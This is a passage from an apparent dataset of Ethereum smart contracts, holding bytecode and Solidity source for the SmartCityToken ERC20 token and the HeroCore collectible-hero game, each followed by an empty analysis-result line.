00600360159054906101000a900460ff1615151561218f57600080fd5b6b033b2e3c9fd0803ce80000006121b18360015461215390919063ffffffff16565b111515156121be57600080fd5b6121d38260015461215390919063ffffffff16565b60018190555061222a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561238c57600080fd5b565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156124bd57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561250a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561259557600080fd5b6125e6826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612679826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061274a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561284857fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561289057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156128dd57600080fd5b61292e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129c1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820fe896981b8f6367916e8677e45102cdf5595ff6d0558d013d5177d986b9fc6180029
{"success": true, "error": null, "results": {}}
4,845
0x8528f649a00ab9afc53b14787ea35705172c244e
pragma solidity ^0.4.18; /** * @title Smart City Token http://www.smartcitycoin.io * @dev ERC20 standard compliant / https://github.com/ethereum/EIPs/issues/20 / * @dev Amount not sold during Crowdsale can be burned by anyone */ contract SmartCityToken { using SafeMath for uint256; address public owner; // address of Token Owner address public crowdsale; // address of Crowdsale contract string constant public standard = "ERC20"; // token standard string constant public name = "Smart City"; // token name string constant public symbol = "CITY"; // token symbol uint256 constant public decimals = 5; // 1 CITY = 100000 tokens uint256 public totalSupply = 252862966307692; // total token provision; 1 CITY = 0,0001 ETH uint256 constant public amountForSale = 164360928100000; // amount that might be sold during ICO - 65% of total token supply; 164361 ETH equivalent uint256 constant public amountReserved = 88502038207692; // amount reserved for founders / loyalty / bounties / etc. - 35% of total token supply uint256 constant public amountLocked = 61951426745384; // the amount of tokens Owner cannot spend within first 2 years after Crowdsale - 70% of the reserved amount uint256 public startTime; // Crowdsale end time: from this time on transfer and transferFrom functions are available to anyone except of token Owner uint256 public unlockOwnerDate; // from this time on transfer and transferFrom functions are available to token Owner mapping(address => uint256) public balances; // balances array mapping(address => mapping(address => uint256)) public allowances; // allowances array bool public burned; // indicates whether excess tokens have already been burned event Transfer(address indexed from, address indexed to, uint256 value); // Transfer event event Approval(address indexed _owner, address indexed spender, uint256 value); // Approval event event Burned(uint256 amount); // Burned event modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } /** * @dev Contract initialization * @param _ownerAddress address Token owner address * @param _startTime uint256 Crowdsale end time * */ function SmartCityToken(address _ownerAddress, uint256 _startTime) public { owner = _ownerAddress; // token Owner startTime = _startTime; // token Start Time unlockOwnerDate = startTime + 2 years; balances[owner] = totalSupply; // all tokens are initially allocated to token owner } /** * @dev Transfers token for a specified address * @param _to address The address to transfer to * @param _value uint256 The amount to be transferred */ function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns(bool success) { require(now >= startTime); require(_to != address(0)); require(_value <= balances[msg.sender]); if (msg.sender == owner && now < unlockOwnerDate) require(balances[msg.sender].sub(_value) >= amountLocked); balances[msg.sender] = balances[msg.sender].sub(_value); // subtract requested amount from the sender address balances[_to] = balances[_to].add(_value); // send requested amount to the target address Transfer(msg.sender, _to, _value); // trigger Transfer event return true; } /** * @dev Transfers tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns(bool success) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowances[_from][msg.sender]); if (now < startTime) require(_from == owner); if (_from == owner && now < unlockOwnerDate) require(balances[_from].sub(_value) >= amountLocked); uint256 _allowance = allowances[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); // subtract requested amount from the sender address balances[_to] = balances[_to].add(_value); // send requested amount to the target address allowances[_from][msg.sender] = _allowance.sub(_value); // reduce sender allowance by transferred amount Transfer(_from, _to, _value); // trigger Transfer event return true; } /** * @dev Gets the balance of the specified address. * @param _addr address The address to query the balance of. * @return uint256 representing the amount owned by the passed address. */ function balanceOf(address _addr) public view returns (uint256 balance) { return balances[_addr]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender address The address which will spend the funds * @param _value uint256 The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) onlyPayloadSize(2 * 32) public returns(bool success) { return _approve(_spender, _value); } /** * @dev Workaround for vulnerability described here: https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM */ function _approve(address _spender, uint256 _value) internal returns(bool success) { require((_value == 0) || (allowances[msg.sender][_spender] == 0)); allowances[msg.sender][_spender] = _value; // Set spender allowance Approval(msg.sender, _spender, _value); // Trigger Approval event return true; } /** * @dev Burns all the tokens which has not been sold during ICO */ function burn() public { if (!burned && now > startTime) { uint256 diff = balances[owner].sub(amountReserved); // Get the amount of unsold tokens balances[owner] = amountReserved; totalSupply = totalSupply.sub(diff); // Reduce total provision number burned = true; Burned(diff); // Trigger Burned event } } /** * @dev Sets Corwdsale contract address & allowance * @param _crowdsaleAddress address The address of the Crowdsale contract */ function setCrowdsale(address _crowdsaleAddress) public { require(msg.sender == owner); require(crowdsale == address(0)); crowdsale = _crowdsaleAddress; assert(_approve(crowdsale, amountForSale)); } /** * @dev Crowdsale contract is allowed to shift token start time to earlier than initially defined date * @param _newStartTime uint256 New Start Date */ function setTokenStart(uint256 _newStartTime) public { require(msg.sender == crowdsale && _newStartTime < startTime); startTime = _newStartTime; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * CITY token by www.SmartCityCoin.io * * .ossssss: `+sssss` * ` +ssssss+` `.://++++++//:.` .osssss+ * /sssssssssssssssssssssssss+ssssso` * -sssssssssssssssssssssssssssss+` * .+sssssssss+:--....--:/ossssssss+. * `/ssssssssssso` .sssssssssss/` * .ossssss+sssssss- :sssss+:ossssso. * `ossssso. .ossssss: `/sssss/ `/ssssss. * ossssso` `+ssssss+` .osssss: /ssssss` * :ssssss` /sssssso:ssssso. +o+/:-` * osssss+ -sssssssssss+` * ssssss: .ossssssss/ * osssss/ `+ssssss- * /ssssso :ssssss * .ssssss- :ssssss * :ssssss- :ssssss ` * /ssssss/` :ssssss `/s+:` * :sssssso:. :ssssss ./ssssss+` * .+ssssssso/-.`:ssssss``.-/osssssss+. * .+ssssssssssssssssssssssssssss+- * `:+ssssssssssssssssssssss+:` * `.:+osssssssssssso+:.` * `/ssssss.` * :ssssss */
0x6060604052600436106101275763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630204d0f8811461012c57806306fdde0314610151578063095ea7b3146101db57806318160ddd1461021157806323b872dd1461022457806327e235e31461024c5780632d28bb021461026b578063313ce5671461028357806344df8e7014610296578063483a20b2146102a957806355b6ed5c146102c85780635a3b7e42146102ed5780636c6c7e051461030057806370a082311461031357806373f425611461033257806378e97925146103455780638473e55f146103585780638da5cb5b1461036b57806395d89b411461039a5780639c1e03a0146103ad578063a9059cbb146103c0578063ea0d8da4146103e2575b600080fd5b341561013757600080fd5b61013f6103f5565b60405190815260200160405180910390f35b341561015c57600080fd5b6101646103fb565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a0578082015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e657600080fd5b6101fd600160a060020a0360043516602435610432565b604051901515815260200160405180910390f35b341561021c57600080fd5b61013f610453565b341561022f57600080fd5b6101fd600160a060020a0360043581169060243516604435610459565b341561025757600080fd5b61013f600160a060020a036004351661066e565b341561027657600080fd5b610281600435610680565b005b341561028e57600080fd5b61013f6106af565b34156102a157600080fd5b6102816106b4565b34156102b457600080fd5b610281600160a060020a036004351661077d565b34156102d357600080fd5b61013f600160a060020a03600435811690602435166107f5565b34156102f857600080fd5b610164610812565b341561030b57600080fd5b61013f610849565b341561031e57600080fd5b61013f600160a060020a0360043516610853565b341561033d57600080fd5b6101fd61086e565b341561035057600080fd5b61013f610877565b341561036357600080fd5b61013f61087d565b341561037657600080fd5b61037e610887565b604051600160a060020a03909116815260200160405180910390f35b34156103a557600080fd5b610164610896565b34156103b857600080fd5b61037e6108cd565b34156103cb57600080fd5b6101fd600160a060020a03600435166024356108dc565b34156103ed57600080fd5b61013f610a54565b60045481565b60408051908101604052600a81527f536d617274204369747900000000000000000000000000000000000000000000602082015281565b60006040604436101561044157fe5b61044b8484610a5e565b949350505050565b60025481565b6000806060606436101561046957fe5b600160a060020a038516151561047e57600080fd5b600160a060020a0386166000908152600560205260409020548411156104a357600080fd5b600160a060020a03808716600090815260066020908152604080832033909416835292905220548411156104d657600080fd5b6003544210156104fa57600054600160a060020a038781169116146104fa57600080fd5b600054600160a060020a038781169116148015610518575060045442105b1561055957600160a060020a03861660009081526005602052604090205465385830c8d4289061054e908663ffffffff610b0416565b101561055957600080fd5b600160a060020a038087166000818152600660209081526040808320339095168352938152838220549282526005905291909120549092506105a1908563ffffffff610b0416565b600160a060020a0380881660009081526005602052604080822093909355908716815220546105d6908563ffffffff610b1616565b600160a060020a0386166000908152600560205260409020556105ff828563ffffffff610b0416565b600160a060020a03808816600081815260066020908152604080832033861684529091529081902093909355908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a350600195945050505050565b60056020526000908152604090205481565b60015433600160a060020a03908116911614801561069f575060035481105b15156106aa57600080fd5b600355565b600581565b60075460009060ff161580156106cb575060035442115b1561077a5760008054600160a060020a03168152600560205260409020546106ff9065507dfc8c9ccc63ffffffff610b0416565b60008054600160a060020a0316815260056020526040902065507dfc8c9ccc9055600254909150610736908263ffffffff610b0416565b6002556007805460ff191660011790557fd83c63197e8e676d80ab0122beba9a9d20f3828839e9a1d6fe81d242e9cd7e6e8160405190815260200160405180910390a15b50565b60005433600160a060020a0390811691161461079857600080fd5b600154600160a060020a0316156107ae57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383811691909117918290556107ed911665957c42bbfea0610a5e565b151561077a57fe5b600660209081526000928352604080842090915290825290205481565b60408051908101604052600581527f4552433230000000000000000000000000000000000000000000000000000000602082015281565b65385830c8d42881565b600160a060020a031660009081526005602052604090205490565b60075460ff1681565b60035481565b65957c42bbfea081565b600054600160a060020a031681565b60408051908101604052600481527f4349545900000000000000000000000000000000000000000000000000000000602082015281565b600154600160a060020a031681565b6000604060443610156108eb57fe5b6003544210156108fa57600080fd5b600160a060020a038416151561090f57600080fd5b600160a060020a03331660009081526005602052604090205483111561093457600080fd5b60005433600160a060020a039081169116148015610953575060045442105b1561099457600160a060020a03331660009081526005602052604090205465385830c8d42890610989908563ffffffff610b0416565b101561099457600080fd5b600160a060020a0333166000908152600560205260409020546109bd908463ffffffff610b0416565b600160a060020a0333811660009081526005602052604080822093909355908616815220546109f2908463ffffffff610b1616565b600160a060020a0380861660008181526005602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a35060019392505050565b65507dfc8c9ccc81565b6000811580610a905750600160a060020a03338116600090815260066020908152604080832093871683529290522054155b1515610a9b57600080fd5b600160a060020a03338116600081815260066020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600082821115610b1057fe5b50900390565b600082820183811015610b2557fe5b93925050505600a165627a7a72305820ff0944df5def2e80ec85d62d45e234b63bd65eb648fc24008d084bebf7841cbf0029
{"success": true, "error": null, "results": {}}
4,846
0x8a1190c9a21ccc195a943ec9ee434620461b46b2
pragma solidity ^0.4.18; contract HeroAccessControl { event ContractUpgrade(address newContract); address public leaderAddress; address public opmAddress; bool public paused = false; modifier onlyLeader() { require(msg.sender == leaderAddress); _; } modifier onlyOPM() { require(msg.sender == opmAddress); _; } modifier onlyMLevel() { require( msg.sender == opmAddress || msg.sender == leaderAddress ); _; } function setLeader(address _newLeader) public onlyLeader { require(_newLeader != address(0)); leaderAddress = _newLeader; } function setOPM(address _newOPM) public onlyLeader { require(_newOPM != address(0)); opmAddress = _newOPM; } function withdrawBalance() external onlyLeader { leaderAddress.transfer(this.balance); } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() public onlyMLevel whenNotPaused { paused = true; } function unpause() public onlyLeader whenPaused { paused = false; } } contract ERC20{ bool public isERC20 = true; function balanceOf(address who) constant returns (uint256); function transfer(address _to, uint256 _value) returns (bool); function transferFrom(address _from, address _to, uint256 _value) returns (bool); function approve(address _spender, uint256 _value) returns (bool); function allowance(address _owner, address _spender) constant returns (uint256); } contract HeroLedger is HeroAccessControl{ ERC20 public erc20; mapping (address => uint256) public ownerIndexToERC20Balance; mapping (address => uint256) public ownerIndexToERC20Used; uint256 public totalBalance; uint256 public totalUsed; uint256 public totalPromo; uint256 public candy; function setERC20Address(address _address,uint256 _totalPromo,uint256 _candy) public onlyLeader { ERC20 candidateContract = ERC20(_address); require(candidateContract.isERC20()); erc20 = candidateContract; uint256 realTotal = erc20.balanceOf(this); require(realTotal >= _totalPromo); totalPromo=_totalPromo; candy=_candy; } function setERC20TotalPromo(uint256 _totalPromo,uint256 _candy) public onlyLeader { uint256 realTotal = erc20.balanceOf(this); totalPromo +=_totalPromo; require(realTotal - totalBalance >= totalPromo); candy=_candy; } function charge(uint256 amount) public { if(erc20.transferFrom(msg.sender, this, amount)){ ownerIndexToERC20Balance[msg.sender] += amount; totalBalance +=amount; } } function collect(uint256 amount) public { require(ownerIndexToERC20Balance[msg.sender] >= amount); if(erc20.transfer(msg.sender, amount)){ ownerIndexToERC20Balance[msg.sender] -= amount; totalBalance -=amount; } } function withdrawERC20Balance(uint256 amount) external onlyLeader { uint256 realTotal = erc20.balanceOf(this); require((realTotal - (totalPromo + totalBalance- totalUsed ) ) >=amount); erc20.transfer(leaderAddress, amount); totalBalance -=amount; totalUsed -=amount; } function withdrawOtherERC20Balance(uint256 amount, address _address) external onlyLeader { require(_address != address(erc20)); require(_address != address(this)); ERC20 candidateContract = ERC20(_address); uint256 realTotal = candidateContract.balanceOf(this); require( realTotal >= amount ); candidateContract.transfer(leaderAddress, amount); } } contract HeroBase is HeroLedger{ event Recruitment(address indexed owner, uint256 heroId, uint256 yinId, uint256 yangId, uint256 talent); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event ItmesChange(uint256 indexed tokenId, uint256 items); address public magicStore; struct Hero { uint256 talent; uint64 recruitmentTime; uint64 cooldownEndTime; uint32 yinId; uint32 yangId; uint16 cooldownIndex; uint16 generation; uint256 belongings; uint32 items; } uint32[14] public cooldowns = [ uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(10 minutes), uint32(30 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days), uint32(2 days), uint32(4 days), uint32(7 days) ]; uint128 public cdFee = 118102796674000; Hero[] heroes; mapping (uint256 => address) public heroIndexToOwner; mapping (address => uint256) ownershipTokenCount; mapping (uint256 => address) public heroIndexToApproved; mapping (uint256 => uint32) public heroIndexToWin; mapping (uint256 => uint32) public heroIndexToLoss; function _transfer(address _from, address _to, uint256 _tokenId) internal { ownershipTokenCount[_to]++; heroIndexToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete heroIndexToApproved[_tokenId]; } Transfer(_from, _to, _tokenId); } function _createHero( uint256 _yinId, uint256 _yangId, uint256 _generation, uint256 _talent, address _owner ) internal returns (uint) { require(_generation <= 65535); uint16 _cooldownIndex = uint16(_generation/2); if(_cooldownIndex > 13){ _cooldownIndex =13; } Hero memory _hero = Hero({ talent: _talent, recruitmentTime: uint64(now), cooldownEndTime: 0, yinId: uint32(_yinId), yangId: uint32(_yangId), cooldownIndex: _cooldownIndex, generation: uint16(_generation), belongings: _talent, items: uint32(0) }); uint256 newHeroId = heroes.push(_hero) - 1; require(newHeroId <= 4294967295); Recruitment( _owner, newHeroId, uint256(_hero.yinId), uint256(_hero.yangId), _hero.talent ); _transfer(0, _owner, newHeroId); return newHeroId; } function setMagicStore(address _address) public onlyOPM{ magicStore = _address; } } contract ERC721 { function implementsERC721() public pure returns (bool); function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) public view returns (address owner); function approve(address _to, uint256 _tokenId) public; function transferFrom(address _from, address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); } contract HeroOwnership is HeroBase, ERC721 { string public name = "MyHero"; string public symbol = "MH"; function implementsERC721() public pure returns (bool) { return true; } function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return heroIndexToOwner[_tokenId] == _claimant; } function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return heroIndexToApproved[_tokenId] == _claimant; } function _approve(uint256 _tokenId, address _approved) internal { heroIndexToApproved[_tokenId] = _approved; } function rescueLostHero(uint256 _heroId, address _recipient) public onlyOPM whenNotPaused { require(_owns(this, _heroId)); _transfer(this, _recipient, _heroId); } function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } function transfer( address _to, uint256 _tokenId ) public { require(_to != address(0)); require(_owns(msg.sender, _tokenId)); _transfer(msg.sender, _to, _tokenId); } function approve( address _to, uint256 _tokenId ) public whenNotPaused { require(_owns(msg.sender, _tokenId)); _approve(_tokenId, _to); Approval(msg.sender, _to, _tokenId); } function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); _transfer(_from, _to, _tokenId); } function totalSupply() public view returns (uint) { return heroes.length - 1; } function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = heroIndexToOwner[_tokenId]; require(owner != address(0)); } function tokensOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId) { uint256 count = 0; for (uint256 i = 1; i <= totalSupply(); i++) { if (heroIndexToOwner[i] == _owner) { if (count == _index) { return i; } else { count++; } } } revert(); } } contract MasterRecruitmentInterface { function isMasterRecruitment() public pure returns (bool); function fightMix(uint256 belongings1, uint256 belongings2) public returns (bool,uint256,uint256,uint256); } contract HeroFighting is HeroOwnership { MasterRecruitmentInterface public masterRecruitment; function setMasterRecruitmentAddress(address _address) public onlyLeader { MasterRecruitmentInterface candidateContract = MasterRecruitmentInterface(_address); require(candidateContract.isMasterRecruitment()); masterRecruitment = candidateContract; } function _triggerCooldown(Hero storage _newHero) internal { _newHero.cooldownEndTime = uint64(now + cooldowns[_newHero.cooldownIndex]); if (_newHero.cooldownIndex < 13) { _newHero.cooldownIndex += 1; } } function isReadyToFight(uint256 _heroId) public view returns (bool) { require(_heroId > 0); Hero memory hero = heroes[_heroId]; return (hero.cooldownEndTime <= now); } function _fight(uint32 _yinId, uint32 _yangId) internal whenNotPaused returns(uint256) { Hero storage yin = heroes[_yinId]; require(yin.recruitmentTime != 0); Hero storage yang = heroes[_yangId]; uint16 parentGen = yin.generation; if (yang.generation > yin.generation) { parentGen = yang.generation; } var (flag, childTalent, belongings1, belongings2) = masterRecruitment.fightMix(yin.belongings,yang.belongings); yin.belongings = belongings1; yang.belongings = belongings2; if(!flag){ (_yinId,_yangId) = (_yangId,_yinId); } address owner = heroIndexToOwner[_yinId]; heroIndexToWin[_yinId] +=1; heroIndexToLoss[_yangId] +=1; uint256 newHeroId = _createHero(_yinId, _yangId, parentGen + 1, childTalent, owner); _triggerCooldown(yang); _triggerCooldown(yin); return (newHeroId ); } function reduceCDFee(uint256 heroId) public view returns (uint256 fee) { Hero memory hero = heroes[heroId]; require(hero.cooldownEndTime > now); uint64 cdTime = uint64(hero.cooldownEndTime-now); fee= uint256(cdTime * cdFee * (hero.cooldownIndex+1)); } } contract ClockAuction { //bool public isClockAuction = true; function withdrawBalance() external ; function order(uint256 _tokenId, uint256 orderAmount ,address buyer) public returns (bool); function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _startingPriceEth, uint256 _endingPriceEth, uint256 _duration, address _seller ) public; function getSeller(uint256 _tokenId) public returns ( address seller ); function getCurrentPrice(uint256 _tokenId, uint8 ccy) public view returns (uint256); } contract FightClockAuction is ClockAuction { bool public isFightClockAuction = true; } contract SaleClockAuction is ClockAuction { bool public isSaleClockAuction = true; function averageGen0SalePrice() public view returns (uint256); } contract HeroAuction is HeroFighting { SaleClockAuction public saleAuction; FightClockAuction public fightAuction; uint256 public ownerCut =500; function setSaleAuctionAddress(address _address) public onlyLeader { SaleClockAuction candidateContract = SaleClockAuction(_address); require(candidateContract.isSaleClockAuction()); saleAuction = candidateContract; } function setFightAuctionAddress(address _address) public onlyLeader { FightClockAuction candidateContract = FightClockAuction(_address); require(candidateContract.isFightClockAuction()); fightAuction = candidateContract; } function createSaleAuction( uint256 _heroId, uint256 _startingPrice, uint256 _endingPrice, uint256 _startingPriceEth, uint256 _endingPriceEth, uint256 _duration ) public { require(_owns(msg.sender, _heroId)); _approve(_heroId, saleAuction); saleAuction.createAuction( _heroId, _startingPrice, _endingPrice, _startingPriceEth, _endingPriceEth, _duration, msg.sender ); } function orderOnSaleAuction( uint256 _heroId, uint256 orderAmount ) public { require(ownerIndexToERC20Balance[msg.sender] >= orderAmount); address saller = saleAuction.getSeller(_heroId); uint256 price = saleAuction.getCurrentPrice(_heroId,1); require( price <= orderAmount && saller != address(0)); if(saleAuction.order(_heroId, orderAmount, msg.sender) &&orderAmount >0 ){ ownerIndexToERC20Balance[msg.sender] -= orderAmount; ownerIndexToERC20Used[msg.sender] += orderAmount; if( saller == address(this)){ totalUsed +=orderAmount; }else{ uint256 cut = _computeCut(price); totalUsed += (orderAmount - price +cut); ownerIndexToERC20Balance[saller] += price -cut; } } } function createFightAuction( uint256 _heroId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) public whenNotPaused { require(_owns(msg.sender, _heroId)); require(isReadyToFight(_heroId)); _approve(_heroId, fightAuction); fightAuction.createAuction( _heroId, _startingPrice, _endingPrice, 0, 0, _duration, msg.sender ); } function orderOnFightAuction( uint256 _yangId, uint256 _yinId, uint256 orderAmount ) public whenNotPaused { require(_owns(msg.sender, _yinId)); require(isReadyToFight(_yinId)); require(_yinId !=_yangId); require(ownerIndexToERC20Balance[msg.sender] >= orderAmount); address saller= fightAuction.getSeller(_yangId); uint256 price = fightAuction.getCurrentPrice(_yangId,1); require( price <= orderAmount && saller != address(0)); if(fightAuction.order(_yangId, orderAmount, msg.sender)){ _fight(uint32(_yinId), uint32(_yangId)); ownerIndexToERC20Balance[msg.sender] -= orderAmount; ownerIndexToERC20Used[msg.sender] += orderAmount; if( saller == address(this)){ totalUsed +=orderAmount; }else{ uint256 cut = _computeCut(price); totalUsed += (orderAmount - price+cut); ownerIndexToERC20Balance[saller] += price-cut; } } } function withdrawAuctionBalances() external onlyOPM { saleAuction.withdrawBalance(); fightAuction.withdrawBalance(); } function setCut(uint256 newCut) public onlyOPM{ ownerCut = newCut; } function _computeCut(uint256 _price) internal view returns (uint256) { return _price * ownerCut / 10000; } function promoBun(address _address) public { require(msg.sender == address(saleAuction)); if(totalPromo >= candy && candy > 0){ ownerIndexToERC20Balance[_address] += candy; totalPromo -=candy; } } } contract HeroMinting is HeroAuction { uint256 public promoCreationLimit = 5000; uint256 public gen0CreationLimit = 50000; uint256 public gen0StartingPrice = 100000000000000000; uint256 public gen0AuctionDuration = 1 days; uint256 public promoCreatedCount; uint256 public gen0CreatedCount; function createPromoHero(uint256 _talent, address _owner) public onlyOPM { if (_owner == address(0)) { _owner = opmAddress; } require(promoCreatedCount < promoCreationLimit); require(gen0CreatedCount < gen0CreationLimit); promoCreatedCount++; gen0CreatedCount++; _createHero(0, 0, 0, _talent, _owner); } function createGen0Auction(uint256 _talent,uint256 price) public onlyOPM { require(gen0CreatedCount < gen0CreationLimit); require(price < 340282366920938463463374607431768211455); uint256 heroId = _createHero(0, 0, 0, _talent, address(this)); _approve(heroId, saleAuction); if(price == 0 ){ price = _computeNextGen0Price(); } saleAuction.createAuction( heroId, price *1000, 0, price, 0, gen0AuctionDuration, address(this) ); gen0CreatedCount++; } function _computeNextGen0Price() internal view returns (uint256) { uint256 avePrice = saleAuction.averageGen0SalePrice(); require(avePrice < 340282366920938463463374607431768211455); uint256 nextPrice = avePrice + (avePrice / 2); if (nextPrice < gen0StartingPrice) { nextPrice = gen0StartingPrice; } return nextPrice; } } contract HeroCore is HeroMinting { address public newContractAddress; function HeroCore() public { paused = true; leaderAddress = msg.sender; opmAddress = msg.sender; _createHero(0, 0, 0, uint256(-1), address(0)); } function setNewAddress(address _v2Address) public onlyLeader whenPaused { newContractAddress = _v2Address; ContractUpgrade(_v2Address); } function() external payable { require( msg.sender != address(0) ); } function getHero(uint256 _id) public view returns ( bool isReady, uint256 cooldownIndex, uint256 nextActionAt, uint256 recruitmentTime, uint256 yinId, uint256 yangId, uint256 generation, uint256 talent, uint256 belongings, uint32 items ) { Hero storage her = heroes[_id]; isReady = (her.cooldownEndTime <= now); cooldownIndex = uint256(her.cooldownIndex); nextActionAt = uint256(her.cooldownEndTime); recruitmentTime = uint256(her.recruitmentTime); yinId = uint256(her.yinId); yangId = uint256(her.yangId); generation = uint256(her.generation); talent = her.talent; belongings = her.belongings; items = her.items; } function unpause() public 